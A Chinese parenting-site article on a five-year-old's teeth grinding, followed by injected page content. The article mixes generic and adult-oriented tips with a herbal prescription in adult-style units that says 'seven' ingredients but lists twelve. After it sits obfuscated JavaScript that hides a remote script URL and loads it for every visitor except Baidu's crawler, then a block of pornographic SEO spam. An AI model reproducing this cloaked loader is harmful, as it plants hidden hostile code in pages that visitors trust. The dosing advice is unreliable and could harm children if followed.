當前位置:首頁 > 母嬰 > 育兒知識 > 正文

五歲寶寶磨牙怎么辦

2017-04-11 08:52:04  來源:360常識網   熱度:
導語:五歲寶寶磨牙是讓我們很多媽媽們特別頭疼的一個大問題,磨牙的問題可能會降低我們孩子的睡眠質量,如果孩子休息不夠的話就可能會導致我們的

五歲寶寶磨牙是讓我們很多媽媽們特別頭疼的一個大問題,磨牙的問題可能會降低我們孩子的睡眠質量,如果孩子休息不夠的話就可能會導致我們的孩子不能正常健康快樂生長,一定要合理為我們的孩子安排飲食,我來為大家介紹一下五歲寶寶磨牙怎么辦呢吧。

1.白天時讓嘴巴保持在健康的休息狀態,即讓 牙齒維持松弛,最好是嘴唇相合,牙齒相離

2.咬蘋果或生蘿卜等東西使上下顎疲勞,可鎮 定嘴巴

3.熱敷上下顎,可松弛咬合肌肉,也可減少頭痛的機會

4.可到體育用品店買護齒套,有助于防止夜間磨牙

5.磨牙與壓力最有關系,因此放松心情是最好的辦法

6.減少咖啡因與精制碳水化合物的攝取量

7.洗溫水澡

8.寬待自己

9.學習放松的方法,例如冥想或漸進式放松

中醫認為腦為元神之府,諸精神所統。睡眠則是人的陰陽之氣運行有關。若是睡眠安好,但在睡眠中有舉動異常(包括磨牙),這都是和腦的作用有關。治宜補腎填髓、健腦安神。

給你一張良方:

生地黃1兩 澤瀉3錢 靈磁石1兩,(先煎)

灸甘草3錢 烏梅3錢 五味子3錢 香附5錢

山茱萸4錢 運志3錢 牡丹皮3錢 山藥4錢 燈芯草2錢,(引藥) 以上七種藥物(煎服)

以上介紹的五歲寶寶磨牙怎么辦呢的方法為我們提供了科學的指導和建議,盲目治療是不可取的,可以吃一些鈣片,來幫助我們補充鈣物質,鈣物質充足可以有效的降低我們自身孩子出現磨牙的幾率,同時也要養成良好的生活習慣。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久精品女人天堂AV| 国产成人yy精品1024在线| 思热99re视热频这里只精品| 精品国产香蕉伊思人在线又爽又黄| jizz国产精品jizz中国| 日韩av无码久久精品免费| 三上悠亚国产精品一区| 亚洲精品天堂成人片?V在线播放| 国产麻传媒精品国产AV| 精品伊人久久久久网站| www亚洲精品久久久乳| 麻豆果冻传媒2021精品传媒一区下载| 久久精品蜜芽亚洲国产AV| 人妻少妇精品中文字幕av蜜桃| 久热精品视频在线观看99小说| 在线精品亚洲一区二区小说| 国产在vr视频精品观看| 亚洲精品二区国产综合野狼| 一本色道久久88精品综合| 91麻豆精品国产| 国产亚洲精品精华液| 亚洲国产精品一区二区第一页 | 老牛精品亚洲成av人片| 欧美成人aaa片一区国产精品| 亚洲精品无码人妻无码| 国产精品嫩草影院AV| 国产精品va一区二区三区| 国产福利精品视频| 福利姬在线精品观看| 国产成人精品在线观看| 久久精品国产99国产精品| 国内精品无码一区二区三区| 国语自产精品视频在线区| 久久亚洲伊人中字综合精品| 99精品视频在线在线视频观看 | 国产精品久操视频| 99久久免费国产精品热| 久久精品青青大伊人av| 精品一区二区三区无码免费视频| 国产精品久久久久无码av| 精品无人区麻豆乱码1区2区新区|